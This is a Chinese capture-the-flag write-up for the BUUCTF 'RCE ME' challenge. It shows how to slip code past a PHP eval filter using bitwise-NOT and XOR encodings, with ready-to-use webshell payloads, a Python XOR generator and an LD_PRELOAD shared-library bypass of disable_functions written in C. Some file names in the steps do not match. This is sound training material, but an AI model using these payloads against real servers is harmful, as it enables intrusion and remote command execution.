BUUCTF--[极客大挑战 2019]RCE ME
目录
URL编码取反绕过
异或绕过
异或的代码
flag
借助蚁剑中的插件进行绕过
利用动态链接库
编写恶意c语言代码
进行编译
然后再写一个php文件
将这两个文件上传到/var/tmp下
运行payload
直接看代码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
主要是学习绕过匹配 [A-Za-z0-9]+ 的方法。有 异或绕过 和 url编码取反绕过
URL编码取反绕过
首先查看phpinfo() 看看哪些函数被过滤了
这时服务端会尝试解析这段URL编码后的值,但这段是被取反了的,所以会导致服务端无法正常解析这段URL编码后的值,结果为
从而绕过验证
相当于使用了phpinfo();
看到这里的system exec exec_shell函数都被禁用了,考虑用一句话木马
assert(eval($_POST[cmd]))
同样也使用URL编码取反绕过
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
成功连接上,除此之外,还可以使用异或绕过
异或绕过
当过滤了所有的英文字母和数字时,ASCII码中还有很多除了字母数字的字符,通过这些字符进行异或可以得到想要的字符
比如,现在要得到 ‘A' 这个字符
A 可以通过 ? 和 ~ 字符进行异或得到
字符 ? ASCII码值: 63 二进制:0011 1111
字符 ~ ASCII码值:126 二进制:0111 1110
进行异或操作:
0 XOR 0 -> 0
0 XOR 1 -> 1
1 XOR 1 -> 1
1 XOR 0 -> 0
上面进行异或操作得到 0100 0001
对应的ASCII码值就是A
异或的代码
这里要感谢这位师傅提供的代码:
浅谈PHP代码执行中出现过滤限制的绕过执行方法_php过滤绕过-CSDN博客
# -*- coding: utf-8 -*-
payload = "assert"
strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
#strlist是ascii表中所有非字母数字的"字符"十进制
str1,str2 = '',''
for char in payload:
for i in strlist:
for j in strlist:
if(i ^ j == ord(char)):
i = '%{:0>2}'.format(hex(i)[2:])
# [2:]为切片操作,去掉十六进制的前两位 '0x'
# 0表示填充字符,当字符串长度不足时用0来填充
# >表示右对齐,填充字符回添加在字符串的左边,2指定宽度为2
j = '%{:0>2}'.format(hex(j)[2:])
print("('{0}'^'{1}')".format(i,j),end=".")
break
else:
continue
break
此时得到assert异或的结果为
('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c').
# 现在的步骤就是:
?code=assert($_POST[_]);
# 使用"_ __ ___" 来代替变量名
(1) $_=assert=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');
(2) $__='_POST'='_'.'POST'='_'.('%0b'^'%5b').('%0f'^'%40').('%08'^'%5b').('%09'^'%5d')
(3) $___='$_POST'='$'.$__=$$__
(4) ?code=$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%0b'^'%5b').('%0f'^'%40').('%08'^'%5b').('%09'^'%5d');$___=$$__;
$_($___[_]);
# assert($_POST[_])
但这样显然过不了长度检测,需要换个形式,还记得上一篇love math就接触了这样的形式
?code=$_GET[_]($_GET[__]);&_=assert&__=eval($_POST['cmd']);
# 一定要在中间加';'
借助下面的脚本(求得_GET的另一种表示形式):
test="_GET"
xor_byte=0xFE # 固定异或字节
xor_pairs=[]
for char in test:
test_byte=ord(char)
ans_byte=xor_byte ^ test_byte
xor_pairs.append(ans_byte)
xor_expression="".join([f"%{b:02x}" for b in xor_pairs])
print(f"异或表达式为: {xor_expression}")
可以得到_GET的异或值
%fe%fe%fe%fe^%a1%b9%bb%aa
于是语句就可以变成
?code=$_GET[_]($_GET[__]);&_=assert&__=eval($_POST['cmd']);
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST['cmd'])
就能成功getshell了
空flag
发现这里有两个flag,第一个flag是空的,第二个flag打开是乱码。看网上师傅的说法是:这里由于disable_function的作用,禁用了很多函数,导致得到的是"空shell", 没有办法执行命令。需要绕过disable_function,下面绕过的方法也是看师傅们的^-^,主要有两种方法
借助蚁剑中的插件进行绕过
这里可能插件市场会加载不出来,上网搜篇文章看看就可以了,这里不好讲
成功看到这个, 然后在蚁剑首页右键点击该shell,点击加载插件
选择这个,然后右键开始,此时会自动跳转到虚拟终端,这时直接通过readflag来得到flag就行了
利用动态链接库
这里按着这位师傅的文章来学习一下:
【PHP绕过】LD_PRELOAD bypass disable_functions_phpid绕过-CSDN博客
后面会写一篇文章专门了解这方面的知识,先讲步骤:
编写恶意c语言代码
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void payload(){
// flag的返回形式为test.php
system("cat /flag >> /var/tmp/test.php");
system("tac /flag >> /var/tmp/test.php");
system("more /flag >> /var/tmp/test.php");
system("head -2 /flag >> /var/tmp/test.php");
system("tail /flag >> /var/tmp/test.php");
system("/readflag >> /var/tmp/test.php");
}
int geteuid(){ // 注意这里是geteuid
if(getenv("LD_PRELOAD")==NULL){return 0;}
// 使用getenv检查环境变量LD_PRELOAD是否存在
unsetenv("LD_PRELOAD");
// 如果存在,就删除LD_PRELOAD,避免后续程序受其影响
payload();
}
进行编译
gcc -shared -fPIC hack.c -o getflag.so
# -shared 是共享链接库
然后再写一个php文件
<?php
putenv("LD_PRELOAD=/var/tmp/hack.so");
mail("","","","");
error_log("",1,"","");
?>
将这两个文件上传到/var/tmp下
运行payload
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/getflag.so
此时就会在/var/tmp下得到一个test.php 查看内容就得到了flag